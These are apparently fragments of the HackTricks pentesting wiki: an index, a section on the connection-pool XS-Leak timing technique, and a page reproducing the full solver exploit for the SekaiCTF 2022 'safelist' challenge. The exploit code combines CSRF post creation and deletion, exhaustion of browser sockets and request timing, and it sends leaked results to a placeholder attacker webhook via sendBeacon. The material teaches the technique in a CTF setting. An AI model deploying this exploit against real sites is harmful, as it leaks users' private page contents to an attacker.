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SUMMARY.md
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* [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
* [Connection Pool Example](pentesting-web/xs-search/connection-pool-example.md)
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)

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pentesting-web/xs-search.md
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### Connection Pool
* **Inclusion Methods**:
* **Inclusion Methods**: JavaScript Requests
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Summary:** An attacker could lock all the sockets except 1, load the target web and at the same time load another page, the time until the last page is starting to load is the time the target page took to load.
* **Code Example**:
{% content-ref url="xs-search/connection-pool-example.md" %}
[connection-pool-example.md](xs-search/connection-pool-example.md)
{% endcontent-ref %}
Browsers use sockets to communicate with servers. As the operating system and the hardware it runs on have limited resources, **browsers have to impose a limit**. To exploit the existence of this limit, attackers can:
1. Check what the limit of the browser is, for example 256 global sockets.

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pentesting-web/xs-search/connection-pool-example.md Normal file
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# Connection Pool Example
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
In the [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) challenge, [**@Strellic\_**](https://twitter.com/Strellic\_) **** gives an example of how to use a **variation** of the **Connection Pool** technique to perform a **XS-Leak**.
In this challenge, the goal is to exfiltrate a flag that will appear in the bots web session inside a post. These are the assets the attacker has:
* The **bot** will **visit** a **URL** given by the attacker
* The attacker can **inject HTML** in the page (but no JS, dompurify is used) abusing a **CSRF** making the **bot create a post** with that HTML.
* The attacker can abuse a CSRF to make the **bot** **delete** the **first** **post** inside the web.
* Because the **posts** are ordered **alphabetically**, when the **first post is deleted**, if the **HTML** content of the attacker is **loaded** means that it was **alphabetically before the flag**.
Therefore, to steal the flag, the solution proposed by @Strellyc\_ is to, **for each char to test** make the bot:
* Create a **new post** that **starts** with the known part of the **flag** and several **img** **loads**.
* **Delete** the **post** in position **0**.
* Block 255 sockets.
* Load the page with the posts
* Perform 5 random requests to a site (example.com in this case) and measure the time this takes.
{% hint style="warning" %}
If the **deleted** post was the **flag**, this means that all the **images** **injected** in the HTML are going to be **fighting** with the **5 random requests** for that **unblocked** socket. Which means that the time measured is going to be bigger than the other scenario.
If the **deleted** post was the **HTML**, the **5 random requests** will be **faster** because they don't need to fight for that socket with the HTML injected.
{% endhint %}
This is the exploit code, taken from [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
```html
<!-- Form to inject HTML code in the bots page -->
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
<input type="text" name="text" />
<input type="submit" />
</form>
<!-- Form to delete the first entry -->
<form method="POST" action="https://safelist.ctf.sekai.team/remove" id="remove" target="_blank">
<input type="text" name="index" value="0" />
<input type="submit" />
</form>
<script>
// Attacker listening
const WEBHOOK = "https://WEBHOOK.com/";
// Send data to attacker
const log = (id, data) => {
let payload = JSON.stringify({ known, alphabet, data });
console.log(id, payload);
navigator.sendBeacon(WEBHOOK + "?" + id, payload);
}
// Similar to JQuery
const $ = document.querySelector.bind(document);
// Known part of the flag
const known = "SEKAI{";
let alphabet = "_abcdefghijklmnopqrstuvwxyz}";
// Reduce the alphabet using a hash (#) in the URL
if (location.hash) {
alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)));
}
// Funtion to leak chars
const leak = async (c) => {
// Prepare post with known flag and the new char
let payload = `${known + c}`;
// Inject as many <img as possible
// you need to respect the CSP and create URLs that are different
for(let i = 0; payload.length < 2048; i++) {
payload += `<img src=js/purify.js?${i.toString(36)}>`;
}
// Inject HTML
$("#create input[type=text]").value = payload;
$("#create").submit();
await new Promise(r => setTimeout(r, 1000));
// Remove post with index 0
$("#remove").submit();
await new Promise(r => setTimeout(r, 500));
let deltas = [];
// Try each char 3 times
for (let i = 0; i < 3; i++) {
const SOCKET_LIMIT = 255;
// you will need a custom server that works like num.sleepserver.com/sleep/delay
// needed to freeze the blocked sockets, and they have to all be on different origins
// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
const SLEEP_SERVER = i => `http://${i}.sleepserver.com/sleep/60`;
const block = async (i, controller) => {
try {
return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
}
catch(err) {}
};
// block SOCKET_LIMIT sockets
const controller = new AbortController();
for (let i = 0; i < SOCKET_LIMIT; i++) {
block(i, controller);
}
// Make the bot access the page with the posts
window.open("https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn");
await new Promise(r => setTimeout(r, 500));
// start meassuring time to perform 5 requests
let start = performance.now();
await Promise.all([
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" })
]);
let delta = performance.now() - start;
document.title = delta;
controller.abort();
log("test_" + c + "_" + i, delta);
// Save time needed
deltas.push(delta);
}
return deltas;
};
// Check each char
const pwn = async () => {
// Try to leak each character
for(let i = 0; i < alphabet.length; i++) {
//Check the indicated char
let deltas = await leak(alphabet[i]);
// Calculate mean time from requests to example.com
let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;
// If greater than 250, the HTML code was injected (flag in index 0)
if (avg > 250) {
log("tests_pos_" + alphabet[i], deltas)
}
// Flag in the page
else {
log("tests_neg_" + alphabet[i], deltas)
}
}
};
window.onload = async () => {
pwn();
};
</script>
```
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>